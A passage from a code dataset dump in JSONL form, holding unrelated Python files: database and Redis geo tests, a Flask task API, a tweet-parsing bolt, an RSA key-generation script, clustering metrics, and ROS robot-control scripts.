sess:\n q = sess.query(UserQuery.subscription).filter(\n UserQuery.user_id == 1, UserQuery.query_hash == qh)\n assert [q[0] for q in q.all()][0] # True\n db.update_email_subscription('test1@test.com', [qh], [], False)\n with db.get_session() as sess:\n q = sess.query(UserQuery.subscription).filter(\n UserQuery.user_id == 1,\n UserQuery.query_hash == test_queries[0].get_hash_with_model('aml'))\n assert not [q[0] for q in q.all()][0] # new subscription status is False\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_number_results():\n db = _get_test_db()\n db.put_queries('test@test.com', 1, test_queries[0], ['aml'])\n db.put_results('aml', [(test_queries[0], 'pysb', _get_random_result())])\n time.sleep(1)\n db.put_results('aml', [(test_queries[0], 'pysb', _get_random_result())])\n time.sleep(1)\n db.put_results('aml', [(test_queries[0], 'pysb', _get_random_result())])\n qh = test_queries[0].get_hash_with_model('aml')\n assert db.get_number_of_results(qh, 'pysb') == 3\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_get_all_result_hashes_and_delta():\n db = _get_test_db()\n db.put_queries('test@test.com', 1, test_queries[0], ['aml'])\n qh = test_queries[0].get_hash_with_model('aml')\n # If there are no older results, all hashes is None\n assert db.get_all_result_hashes(qh, 'pysb') is None\n db.put_results('aml', [(test_queries[0], 'pysb', {'1234': 'result'})])\n assert db.get_all_result_hashes(qh, 'pysb') == {'1234'}\n # First result is not delta\n results = db.get_results_from_hashes([qh])\n assert results[0][4] == [], results[0]\n # All hashes keeps growing\n time.sleep(1)\n db.put_results('aml', [(test_queries[0], 'pysb', {'345': 'other'})])\n assert db.get_all_result_hashes(qh, 'pysb') == {'1234', '345'}\n results = db.get_results_from_hashes([qh])\n assert results[0][4] == ['345'], results[0]\n # When we go to previous result, it's not delta\n time.sleep(1)\n db.put_results('aml', [(test_queries[0], 'pysb', {'1234': 'result'})])\n assert db.get_all_result_hashes(qh, 'pysb') == {'1234', '345'}\n results = db.get_results_from_hashes([qh])\n assert results[0][4] == [], results[0]\n\n\n@with_setup(setup_function, teardown_function)\n@attr('nonpublic')\ndef test_model_subscription():\n db = _get_test_db()\n db.subscribe_to_model('test@test.com', 1, 'aml')\n db.subscribe_to_model('test@test.com', 1, 'paad')\n db.subscribe_to_model('test2@test.com', 2, 'aml')\n aml_users = db.get_model_users('aml')\n paad_users = db.get_model_users('paad')\n ms_users = db.get_model_users('ms')\n assert len(aml_users) == 2\n assert set(aml_users) == {'test@test.com', 'test2@test.com'}\n assert len(paad_users) == 1\n assert paad_users == ['test@test.com']\n assert ms_users == []\n","sub_path":"emmaa/tests/test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"448980387","text":"from __future__ import absolute_import, print_function, unicode_literals\n\nimport re\nfrom streamparse.bolt import Bolt\nimport psycopg2\n################################################################################\n# Function to check if the string contains only ascii chars\n################################################################################\nrunning_titlemap={}\nrunning_titles=[]\nupcoming_titlemap={}\nupcoming_titles=[]\n\ndef ascii_string(s):\n return all(ord(c) < 128 for c in s)\n\nclass ParseTweet(Bolt):\n def initialize(self, stormconf, context):\n # CODE TO GET THE PHRASES TO FILTER ON.. \n maxCount = 0\n conn = psycopg2.connect(database=\"filmzz\", user=\"postgres\", password=\"pass\", host=\"localhost\", port=\"5432\")\n cur = conn.cursor()\n cur.execute(\"SELECT max(executioncount) from ActiveMovie\")\n result=cur.fetchone()\n if result != None:\n maxCount=result[0]\n\n self.log('Existing maxCount is %d' % (maxCount))\n cur.execute(\"SELECT tmdbid, tmdbtitle FROM ActiveMovie WHERE executioncount=%s and status = 'running' order by tmdbpopularity::real DESC LIMIT 100\", [maxCount])\n records = cur.fetchall()\n running_titlemap = {}\n for rec in records:\n running_titlemap[rec[0]]=rec[1]\n\n self.log('Printing the Tmdb ids and the movie titles for RUNNING MOVIES we are going to filter in tweets')\n running_titles=[]\n for keys,values in running_titlemap.items():\n self.log(keys)\n #self.log(unicode(values, \"utf-8\"))\n running_titles.append(unicode(values, \"utf-8\"))\n\n\n def process(self, tup):\n tweet = tup.values[0] # extract the tweet\n\n # Split the tweet into words\n words = tweet.split()\n\n # Filter out the hash tags, RT, @ and urls\n valid_words = []\n for word in words:\n # Filter the hash tags\n if word.startswith(\"#\"): continue\n\n # Filter the user mentions\n if word.startswith(\"@\"): continue\n\n # Filter out retweet tags\n if word.startswith(\"RT\"): continue\n\n # Filter out the urls\n if word.startswith(\"http\"): continue\n\n # Strip leading and lagging punctuations\n aword = word.strip(\"\\\"?><,'.:;)\")\n\n # now check if the word contains only ascii\n if len(aword) > 0 and ascii_string(word):\n #1.INSERT INTO THE TWEETS TABLE TO STORE THE FULL TWEET\n #2.UPDATE THE TWEET STATISTIC TABLE TO UPDATE THE COUNT.\n #3.CALCULATE THE SENTIMENT OF THE TWEET AND STORE IT IN STATISTIC TABLE\n #REMOVE THIS CONTINUE BELOW WHEN YOU PUT IN THE ACTUAL CODE\n valid_words.append([aword]) \n \n if not valid_words: return\n\n # Emit all the words\n self.emit_many(valid_words)\n\n # tuple acknowledgement is handled automatically\n","sub_path":"data-collection/twitter/tweetfilmz/filmzz/src/bolts/parse_bak.py","file_name":"parse_bak.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"326668370","text":"t = int(input())\nfor _ in range(t):\n\tn,m = [int(x) for x in input().split()]\n\tset = [int(x) for x in input().split()]\n\t# if a & b is divible by m then a + b is also divisible\n\t# so good subsequence is list of elements divisible by m\n\tgood = [i for i in set if i % m == 0]\n\t# The possible comibinataitons come from combinatorics\n\t# Either the number is there or is not minus the nullset\n\tprint(2**len(good)-1)\n","sub_path":"codechef/Magic.py","file_name":"Magic.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"110941118","text":"from flask import Flask, jsonify, request\r\n\r\napp = Flask(__name__)\r\n\r\ntasks = [\r\n\r\n]\r\n\r\n\r\n@app.route('/api/tasks')\r\ndef list():\r\n\r\n return jsonify(tasks), 200\r\n\r\n\r\n@app.route('/api/tasks', methods=['POST'])\r\ndef create_task():\r\n task = request.get_json()\r\n task['id'] = len(tasks)\r\n tasks.append(task)\r\n return jsonify(task), 201\r\n\r\n\r\n@app.route('/api/tasks/', methods=['PUT'])\r\ndef done_task(id):\r\n\r\n for task in tasks:\r\n if task['id'] == id:\r\n done = request.get_json('done')\r\n task['done'] = done['done']\r\n return jsonify(task), 200\r\n\r\n return jsonify({'error': 'not found'}), 404\r\n\r\n\r\n@app.route('/tasks/', methods=['DELETE'])\r\ndef delete_task(id):\r\n\r\n for task in tasks:\r\n if task['id'] == id:\r\n del tasks[id]\r\n return jsonify(tasks), 204\r\n\r\n return jsonify({'error': 'not found'}), 404\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)","sub_path":"tasks/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"10481783","text":"# coding: utf-8\n# Copyright 2015 Jeethu Rao\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom twisted.internet import defer\nfrom twisted.trial import unittest\n\nfrom .mixins import REDIS_HOST, REDIS_PORT, RedisGeoCheckMixin\n\nimport txredisapi as redis\n\n\nclass TestGeo(unittest.TestCase, RedisGeoCheckMixin):\n _KEY = '_geo_test_key'\n\n @defer.inlineCallbacks\n def setUp(self):\n self.db = yield redis.Connection(REDIS_HOST, REDIS_PORT,\n reconnect=False)\n self.redis_geo_support = yield self.has_geo()\n yield self.db.delete(self._KEY)\n\n @defer.inlineCallbacks\n def tearDown(self):\n yield self.db.delete(self._KEY)\n yield self.db.disconnect()\n\n def _do_geoadd(self):\n return self.db.geoadd(self._KEY,\n [(13.361389, 38.115556, \"Palermo\"),\n (15.087269, 37.502669, \"Catania\")])\n\n @defer.inlineCallbacks\n def test_geoadd(self):\n self._skipCheck()\n r = yield self._do_geoadd()\n self.assertEqual(r, 2)\n r = yield self.db.zcard(self._KEY)\n self.assertEqual(r, 2)\n\n @defer.inlineCallbacks\n def test_geohash(self):\n self._skipCheck()\n yield self._do_geoadd()\n r = yield self.db.geohash(self._KEY, ('Palermo', 'Catania'))\n self.assertEqual(len(r), 2)\n self.assertIn(\"sqc8b49rny0\", r)\n self.assertIn(\"sqdtr74hyu0\", r)\n\n @defer.inlineCallbacks\n def test_geopos(self):\n self._skipCheck()\n yield self._do_geoadd()\n r = yield self.db.geopos(self._KEY,\n ('Palermo', 'Catania', 'NonExisting'))\n self.assertEqual(r,\n [[13.361389338970184, 38.1155563954963],\n [15.087267458438873, 37.50266842333162],\n None])\n\n @defer.inlineCallbacks\n def test_geodist(self):\n self._skipCheck()\n yield self._do_geoadd()\n r = yield self.db.geodist(self._KEY, ('Palermo', 'Catania'))\n self.assertAlmostEqual(r, 166274.15156960033)\n r = yield self.db.geodist(self._KEY, ('Palermo', 'Catania'),\n unit='km')\n self.assertAlmostEqual(r, 166.27415156960032)\n r = yield self.db.geodist(self._KEY, ('Palermo', 'Catania'), 'mi')\n self.assertAlmostEqual(r, 103.31822459492733)\n r = yield self.db.geodist(self._KEY, ('Foo', 'Bar'))\n self.assertIs(r, None)\n\n @defer.inlineCallbacks\n def test_georadius(self):\n self._skipCheck()\n yield self._do_geoadd()\n r = yield self.db.georadius(self._KEY, 15, 37, 200, 'km', withdist=True)\n self.assertEqual(len(r), 2)\n self.assertEqual(r[0][0], 'Palermo')\n self.assertAlmostEqual(r[0][1], 190.4424)\n self.assertEqual(r[1][0], 'Catania')\n self.assertAlmostEqual(r[1][1], 56.4413)\n r = yield self.db.georadius(self._KEY, 15, 37, 200, 'km',\n withcoord=True)\n self.assertEqual(r,\n [[u'Palermo',\n [13.361389338970184, 38.1155563954963]],\n [u'Catania',\n [15.087267458438873, 37.50266842333162]]])\n r = yield self.db.georadius(self._KEY, 15, 37, 200, 'km',\n withdist=True, withcoord=True)\n self.assertEqual(r,\n [[u'Palermo', 190.4424,\n [13.361389338970184, 38.1155563954963]],\n [u'Catania', 56.4413,\n [15.087267458438873, 37.50266842333162]]])\n\n @defer.inlineCallbacks\n def test_georadiusbymember(self):\n self._skipCheck()\n r = yield self.db.geoadd(self._KEY,\n [(13.583333, 37.316667, \"Agrigento\")])\n self.assertEqual(r, 1)\n r = yield self.db.geoadd(self._KEY, [(13.361389, 38.115556, \"Palermo\"),\n (15.087269, 37.502669, \"Catania\")])\n self.assertEqual(r, 2)\n r = yield self.db.georadiusbymember(self._KEY, \"Agrigento\", 100, \"km\")\n self.assertEqual(r, [\"Agrigento\", \"Palermo\"])\n","sub_path":"tests/test_geo.py","file_name":"test_geo.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"350636692","text":"#encoding=utf8\n\nimport rsa\n\npubkey,privkey=rsa.newkeys(1024)\npubkey.save_pkcs1()\nprivkey.save_pkcs1()\n\nf=open('public.pem','w')\nf.write(pubkey.save_pkcs1())\nf.close()\n\nf=open('private.pem','w')\nf.write(privkey.save_pkcs1())\nf.close()\n\nf=open('public.pem','r')\npubkey1=rsa.PublicKey.load_pkcs1(f.read())\nf.close()\nf=open('private.pem','r')\nprivkey1=rsa.PrivateKey.load_pkcs1(f.read())\nf.close()\n\n\n","sub_path":"genRsaKeyAndLoad.py","file_name":"genRsaKeyAndLoad.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"32273957","text":"from anndata import AnnData\nimport numpy as np\nimport os\nimport scanpy.api as sc\nfrom scipy.sparse import vstack\nfrom sklearn import preprocessing\nimport sys \nfrom scipy import sparse\nfrom sklearn.neighbors import NearestNeighbors\nfrom sklearn.metrics.cluster import adjusted_rand_score\n\n# Run louvain algorithm\ndef eval_louvain(adata, resol):\n sc.tl.louvain(adata, key_added='louvain', resolution = resol)\n louv_labels = np.array(adata.obs['louvain'].tolist())\n\n le = preprocessing.LabelEncoder().fit(louv_labels)\n cell_labels_pred = le.transform(louv_labels)\n return int(np.unique(cell_labels_pred).shape[0])\n\n\ndef eval_bisect_louvain(adata, minresolution, maxresolution, n_clusters):\n M = -1\n k1 = n_clusters + 1\n k2 = 0\n iterations = 0 \n #adata = AnnData(X = data)\n #sc.pp.neighbors(adata, n_neighbors=20, use_rep='X')\n\n # find minresolution and maxresolution s.t k1 < n_clusters < k2 \n while k1 > n_clusters and iterations < 8:\n minresolution = minresolution/2 \n k1 = eval_louvain(adata, minresolution)\n if k1 == n_clusters:\n return minresolution\n iterations = iterations + 1\n while k2 < n_clusters and iterations < 8:\n maxresolution = 2*maxresolution\n k2 = eval_louvain(adata, maxresolution)\n if k2 == n_clusters:\n return maxresolution\n iterations = iterations + 1\n\n # bisection main\n while iterations < 40 and abs(maxresolution - minresolution) > 1e-5:\n M = (minresolution + maxresolution)/2 \n iterations = iterations + 1\n k3 = eval_louvain(adata, M)\n if k3 == n_clusters:\n return M \n elif k3 < n_clusters:\n minresolution = M \n else:\n maxresolution = M\n\n if iterations >= 40:\n print(\"bisection algorithm could not find the right resolution\")\n\ndef louvain_exact_K(X_dimred, n_clusters):\n adata = AnnData(X=X_dimred)\n sc.pp.neighbors(adata,n_neighbors=10, use_rep='X')\n \n resol = eval_bisect_louvain(adata, 0.5, 1.7, n_clusters)\n \n sc.tl.louvain(adata, key_added='louvain', resolution = resol)\n louv_labels = np.array(adata.obs['louvain'].tolist())\n le = preprocessing.LabelEncoder().fit(louv_labels)\n cell_labels_pred = le.transform(louv_labels)\n return cell_labels_pred\n\n \n### COMPUTE TWO METRICS\ndef KNI(data, label, k):\n \"\"\"\n KNI: fraction of k-NN which have identical label\n Input: rows are samples, columns are PCs (genes)\n \"\"\"\n \n data = np.array(data)\n nrows, ncols = data.shape\n nbrs = NearestNeighbors(n_neighbors=k+1, algorithm='ball_tree').fit(data) #exclude itself\n distances, indices_NN = nbrs.kneighbors(data)\n KNI_acc = 0\n for idx in range(nrows):\n for j in range(1, k+1):\n if label[idx]==label[indices_NN[idx, j]]:\n KNI_acc += 1\n KNI_value = KNI_acc/(k * nrows)\n return(KNI_value)\n\ndef CARI(data, true_label):\n \"\"\"\n CARI: Compute ARI between true_label and the cluster labels computed on joint space \n Input: \n Data: joint tSNE/UMAP\n true_label: ground-truth label\n \"\"\"\n \n n_clusters = len(np.unique(np.array(true_label)))\n # print(\"Number of clusters: \", n_clusters)\n cluster_label = louvain_exact_K(data, n_clusters) # Run Louvain algorithm\n return adjusted_rand_score(cluster_label, true_label)","sub_path":"proof_of_principle/joint_metrics.py","file_name":"joint_metrics.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"73877839","text":"#!/usr/bin/env python\n\n# Important Library\nimport sys\nfrom std_msgs.msg import Int32, Int32MultiArray\nfrom geometry_msgs.msg import Twist\nimport rospy\n\nimport math\n\nclass send_commandvelocity():\n\n\tdef __init__(self):\n\n\t\tself.target = rospy.get_param(\"~rotate360_target\", 359.0)\n\n\t\t# OFFSET\n\t\tif self.target > 0:\n\t\t\tself.target = self.target - 2\n\t\telif self.target < 0:\n\t\t\tself.target = self.target + 2\n \n\t\tself.k_p = 0.1\n\t\tself.imu_yaw = 0\n\t\t\n\t\tself.setIMU = True\n\t\tself.robot_theta = 0\n\t\tself.first_theta = 0\n\n\t\t# Setting data of Linear Velocity of twist and Angular Velocity of twist\n\t\tself.twist_robot = Twist()\n\t\tself.twist_robot.linear.x = 0\n\t\tself.twist_robot.linear.y = 0\n\t\tself.twist_robot.linear.z = 0\n\t\tself.twist_robot.angular.x = 0\n\t\tself.twist_robot.angular.y = 0\n\t\tself.twist_robot.angular.z = 0\n\n\t\tself.cmdvel_publisher = rospy.Publisher('cmd_vel', Twist, queue_size=10)\n\t\n\tdef get_imuData(self, imu_data):\n\n\t\tself.imu_data = imu_data\n\n\t\taccuracy = self.imu_data[0]\n\t\timuData_leftIndex = self.imu_data[1]\n\t\timuData_rightIndex = self.imu_data[2]\n\t\t\n\t\t# print([accuracy, imuData_leftIndex, imuData_rightIndex])\n\n\t\timu_theta = -imuData_leftIndex - imuData_rightIndex + 180 \n\n\t\tif self.setIMU == True:\n\t\t\tself.first_theta = imu_theta\n\t\t\tself.setIMU = False\n\n\t\tif imuData_leftIndex != 0:\n\t\t\tdiff = imu_theta - self.first_theta\n\t\t\tself.robot_theta += diff\n\t\t\tself.first_theta = imu_theta\n\t\t\n\t\telif imuData_rightIndex != 0:\n\t\t\tdiff = self.first_theta - imu_theta \n\t\t\tself.robot_theta += diff\n\t\t\tself.first_theta = imu_theta\n\t\n\tdef send_commandvel(self, yaw):\n\t\tif self.target > 0 and self.target <= 360:\n\t\t\tself.state = \"rotate_right\"\n\t\t\tself.imu_yaw = yaw\n\t\t\tself.selecting_state()\n\n\t\telif self.target < 0 and self.target >= -360:\n\t\t\tself.state = \"rotate_left\"\n\t\t\tself.imu_yaw = yaw\n\t\t\tself.selecting_state()\n\t\n\tdef selecting_state(self):\n\t\tself.imu_yaw_rad = self.imu_yaw*(math.pi/180)\n\n\t\ttarget_rad = self.target*math.pi/180\n\n\t\tprint(target_rad, self.imu_yaw_rad)\n\n\t\tif self.state == \"rotate_right\":\n\t\t\tif self.imu_yaw_rad < target_rad:\n\t\t\t\t# velocity = (self.k_p * (target_rad - self.imu_yaw_rad) * 0.25) / (target_rad * self.k_p)\n\t\t\t\t# if velocity < 0.15:\n\t\t\t\t\t# velocity = 0.15\n\t\t\t\tself.twist_robot.angular.z = 0.25\n\t\t\t\tself.cmdvel_publisher.publish(self.twist_robot)\n\n\t\t\telif self.imu_yaw_rad >= target_rad:\n\t\t\t\tself.twist_robot.angular.z = 0\n\t\t\t\tself.cmdvel_publisher.publish(self.twist_robot)\n\t\t\t\trospy.signal_shutdown('Quit')\n\t\t\t\t# sys.exit(1)\n\t\t\n\t\tif self.state == \"rotate_left\":\n\t\t\ttarget_rad = -target_rad\n\t\t\tself.imu_yaw_rad = -self.imu_yaw_rad\n\t\t\tif self.imu_yaw_rad < target_rad:\n\t\t\t\t# velocity = (self.k_p * (target_rad - self.imu_yaw_rad) * 0.25) / (target_rad * self.k_p)\n\t\t\t\t# if velocity < 0.15:\n\t\t\t\t\t# velocity = 0.15\n\t\t\t\tself.twist_robot.angular.z = -0.25 \n\t\t\t\tself.cmdvel_publisher.publish(self.twist_robot)\n\n\t\t\telif self.imu_yaw_rad >= target_rad:\n\t\t\t\tself.twist_robot.angular.z = 0\n\t\t\t\tself.cmdvel_publisher.publish(self.twist_robot)\n\t\t\t\trospy.signal_shutdown('Quit')\n\t\t\t\t# sys.exit(1)\n\t\t \n\t\t \nclass imu_subscriber(object):\n\n\tdef __init__(self):\n\t\tself.data = None\n\n\tdef callback(self,data):\n\t\tself.data = data.data\n\t\t# print(self.data)\n\n\tdef listener(self):\n\t\trospy.init_node('rotate360By_imu_node', disable_signals=True)\n\t\trospy.Subscriber('angle_rotate', Int32MultiArray, self.callback)\n\n\nif __name__==\"__main__\":\n\timuSub_node = imu_subscriber()\n\timuSub_node.listener()\n\n\tsendCmdvel_node = send_commandvelocity()\n\n\trate = rospy.Rate(20)\n\n\twhile(not rospy.is_shutdown()):\n\t\timu_data = imuSub_node.data\n\t\tif imu_data != None:\n\t\t\t# sendCmdvel_node.send_commandvel(imu_data)\n\t\t\tsendCmdvel_node.get_imuData(imu_data)\n\t\t\t# sendCmdvel_node.filter_theta(sendCmdvel_node.robot_theta)\n\t\t\tprint(sendCmdvel_node.robot_theta)\n\t\t\tsendCmdvel_node.send_commandvel(sendCmdvel_node.robot_theta)\n\t\trate.sleep()","sub_path":"a2dr_sensors/a2dr_sensor/scripts/rotate360By_imu.py","file_name":"rotate360By_imu.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"574247236","text":"from random import random\nfrom math import sqrt\n\n\ndef gen_y():\n y = -6\n for i in range(12):\n y += random()\n return y\n\n\ndef gen_random_number(m: int, sigma: int):\n r = sigma*gen_y() + m\n return r\n\n\ndef count_m(row: list):\n M = 0\n for i in row:\n M += i\n return M / len(row)\n\n\ndef count_sigma(row: list, m: int):\n SIGMA = 0\n for i in row:\n SIGMA += (i - m)**2\n return sqrt(SIGMA/len(row))\n\n","sub_path":"lab2/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"308799222","text":"n=int(input())\r\nfor i in range(n):\r\n num=list(input())\r\n num1=num[:int(len(num)/2)]\r\n num2=num[int(len(num)/2):]\r\n num=int(''.join(num))\r\n num1=int(''.join(num1))\r\n num2=int(''.join(num2))\r\n if num1==0 or num2==0 or num%(num1*num2)!=0:\r\n print(\"No\")\r\n else:\r\n print(\"Yes\")\r\n","sub_path":"1132.py","file_name":"1132.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"377903007","text":"import json\nimport gzip\nimport os\nimport pickle\ndef load_json(filename):\n if((filename.split('/')[-1]).split('.')[-1]==\"gz\"):\n json_data= gzip.open(filename,'rb')\n else:\n json_data=open(filename)\n data=json.load(json_data)\n if 'phone_model' in data:\n return data['phone_model']\n \n \n\ndata = {}\nroot = \"/Users/rchin/MyDrive/Data/Lifesense_data_analysis/data/phone_data/\"\nfor path, subdirs, files in os.walk(root):\n subid = path.split('/')[-1]\n for file in files:\n if file.split('-')[-1]!=\"processed.json.gz\":\n filename=\"{0}/{1}\".format(path,file)\n phone = load_json(filename)\n if subid not in data:\n if phone:\n data[subid] = phone.encode(\"utf-8\")\n\nsav_file = \"../sav_files/phone_to_subid_dict.sav\"\nwith open(sav_file,'w') as g:\n pickle.dump(data,g)\n ","sub_path":"mydrive_python/Lifesense_data_analysis/code/get_phone_per_subid.py","file_name":"get_phone_per_subid.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"203813333","text":"#!/usr/bin/env python3\n\nimport os,sys\nimport actionlib\nimport copy\nimport rospy\nimport time\n\n#import packages for manipulation purposes\nimport moveit_commander\nimport moveit_msgs.msg\nimport geometry_msgs.msg\n\n#import packages for follow line purposes\nimport cv2\nimport numpy as np\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom geometry_msgs.msg import Twist\nfrom sensor_msgs.msg import Image\nfrom move_robot_turtlebot3 import MoveTB3\n\n################################################################################\n################################################################################\n############################## FOR PHYSICAL TB3 ################################\n################################################################################\n################################################################################\n\n#from math import pi\n#from std_msgs.msg import String\n\n############################ Defining Line Follower Parameters ############################ \n\ncx = 0\ncy = 0\n\nclass LineFollower(object):\n\n def __init__(self):\n \n self.bridge_object = CvBridge()\n \n # For Virtual robot:\n #self.image_sub = rospy.Subscriber(\"/camera/rgb/image_raw\",Image,self.camera_callback)\n \n # For Physical robot: \n self.image_sub = rospy.Subscriber(\"/raspicam_node/image\",Image,self.camera_callback)\n\t#self.image_sub = rospy.Subscriber(\"/raspicam_node/image_raw\",Image,self.camera_callback)\n\t\n self.moveTB3_object = MoveTB3()\n\n def camera_callback(self,data):\n \n try:\n # We select bgr8 because its the OpneCV encoding by default\n cv_image = self.bridge_object.imgmsg_to_cv2(data, desired_encoding=\"bgr8\")\n except CvBridgeError as e:\n print(e)\n print('Working')\n \n # We get image dimensions and crop the parts of the image we dont need\n # Bare in mind that because its image matrix first value is start and second value is down limit.\n # Select the limits so that it gets the line not too close, not too far and the minimum portion possible\n # To make process faster.\n height, width, channels = cv_image.shape\n\t#print(height)\n descentre = 160\n rows_to_watch = 20\n crop_img = cv_image[int((height)/2+descentre):int((height)/2+(descentre+rows_to_watch))][1:width]\n \n # Convert from RGB to HSV\n hsv = cv2.cvtColor(crop_img, cv2.COLOR_BGR2HSV)\n \n # Define the Yellow Colour in HSV\n #[[[ 30 196 235]]]\n \"\"\"\n To know which color to track in HSV, Put in BGR. Use ColorZilla to get the color registered by the camera\n >>> yellow = np.uint8([[[B,G,R]]])\n >>> hsv_yellow = cv2.cvtColor(yellow,cv2.COLOR_BGR2HSV)\n >>> print( hsv_yellow )\n [[[ 60 255 255]]]\n \"\"\"\n lower_yellow = np.array([20,100,50])\n upper_yellow = np.array([50,255,255])\n\n # Threshold the HSV image to get only yellow colors\n mask = cv2.inRange(hsv, lower_yellow, upper_yellow)\n \n # Calculate centroid of the blob of binary image using ImageMoments\n m = cv2.moments(mask, False)\n\n global cx\n global cy\n\n try:\n cx, cy = m['m10']/m['m00'], m['m01']/m['m00']\n except ZeroDivisionError:\n cx, cy = height/2, width/2\n \n print('cx',cx) \n print('cy',cy) \n\n # Bitwise-AND mask and original image\n res = cv2.bitwise_and(crop_img,crop_img, mask= mask)\n \n # Draw the centroid in the resultut image\n # cv2.circle(img, center, radius, color[, thickness[, lineType[, shift]]]) \n cv2.circle(res,(int(cx), int(cy)), 10,(0,0,255),-1)\n\n cv2.imshow(\"Original\", cv_image)\n #cv2.imshow(\"HSV\", hsv)\n #cv2.imshow(\"MASK\", mask)\n cv2.imshow(\"RES\", res)\n \n cv2.waitKey(1)\n\n\t\n try:\n a\n except:\n error_x = 0\n error_1 = 0\n error_2 = 0\n\t \n error_2 = error_1\n error_1 = error_x \t\n error_x = cx - width / 2;\t\n a = error_x\n twist_object = Twist();\n twist_object.linear.x = 0.1;\n kp = -1/500\n kd = 1\n ki = 0\n k1 =kp + ki + kd\n k2 = -kp -2*kd\n k3 = kd\n print('0',error_x,'1',error_1,'2',error_2)\n twist_object.angular.z = -error_x/600 -error_1/1500 -75*error_2 \n\t#k2*error_1 + k3*error_2;\n\n print('end of line status when no yellow',end_of_line)\n\n if end_of_line is True:\n twist_object.linear.x = 0.0\n twist_object.angular.z = 0.0\n\n rospy.loginfo(\"ANGULAR.z VALUE SENT===>\"+str(twist_object.angular.z))\n rospy.loginfo(\"LINEAR.x VALUE SENT===>\"+str(twist_object.linear.x))\n\t\n # Make it start turning\n self.moveTB3_object.move_robot(twist_object)\n\n\ndef shutdown():\n\t\n rospy.loginfo(\"Stop TB3\")\n pub = rospy.Publisher('/cmd_vel', Twist, queue_size=10)\n move = Twist()\n move.linear.x = 0.0\n move.angular.z = 0.0\n pub.publish(move)\n #use OM to place item on the ground when end of yellow line\n place()\n rate.sleep()\n\n###########################################################################################\n### Complete move function below; this function moves the TB3 to follow the yellow line ###\n###########################################################################################\n\ndef move():\n ##### Hint: Call the LineFollower class, then call the MoveTB3 class, and lastly configure a suitable condition under a while loop to stop the TB3 when it is at the end of the line.\n error_1 = 0\n error_2 = 0\n error_x = 0\n \n \n \n \n \n \n\n############################ Defining Manipulation Parameters ############################ \n\ndef all_close(goal, actual, tolerance):\n \"\"\"\n Convenience method for testing if a list of values are within a tolerance of their counterparts in another list\n @param: goal A list of floats, a Pose or a PoseStamped\n @param: actual A list of floats, a Pose or a PoseStamped\n @param: tolerance A float\n @returns: bool\n \"\"\"\n all_equal = True\n if type(goal) is list:\n for index in range(len(goal)):\n if abs(actual[index] - goal[index]) > tolerance:\n return False\n\n elif type(goal) is geometry_msgs.msg.PoseStamped:\n return all_close(goal.pose, actual.pose, tolerance)\n\n elif type(goal) is geometry_msgs.msg.Pose:\n return all_close(pose_to_list(goal), pose_to_list(actual), tolerance)\n\n return True\n\n\nclass MoveGroupPythonInteface(object):\n \"\"\"MoveGroupPythonInteface\"\"\"\n def __init__(self):\n super(MoveGroupPythonInteface, self).__init__()\n\n ## First initialize `moveit_commander`_ and a `rospy`_ node:\n moveit_commander.roscpp_initialize(sys.argv)\n rospy.init_node('Project5_Node', anonymous=True)\n\n ## Instantiate a `RobotCommander`_ object. This object is the outer-level interface to\n ## the robot:\n robot = moveit_commander.RobotCommander()\n\n ## Instantiate a `PlanningSceneInterface`_ object. This object is an interface\n ## to the world surrounding the robot:\n scene = moveit_commander.PlanningSceneInterface()\n\n ## Instantiate a `MoveGroupCommander`_ object. This object is an interface\n ## to one group of joints. In this case the group is the joints in the OM\n ## arm so we set ``group_name = arm``. If you are using a different robot,\n ## you should change this value to the name of your robot arm planning group.\n ## This interface can be used to plan and execute motions on the OM:\n group_name = \"arm\"\n group_name2 = \"gripper\"\n group = moveit_commander.MoveGroupCommander(group_name)\n grip = moveit_commander.MoveGroupCommander(group_name2)\n\n ## Getting Basic Information\n ## ^^^^^^^^^^^^^^^^^^^^^^^^^\n # We can get the name of the reference frame for this robot:\n planning_frame = group.get_planning_frame()\n print(\"============ Reference frame: %s\" % planning_frame)\n\n # We can also print the name of the end-effector link for this group:\n eef_link = group.get_end_effector_link()\n print(\"============ End effector: %s\" % eef_link)\n\n # We can get a list of all the groups in the robot:\n group_names = robot.get_group_names()\n print(\"============ Robot Groups:\", robot.get_group_names())\n\n # Sometimes for debugging it is useful to print the entire state of the\n # robot:\n print(\"============ Printing robot state\")\n 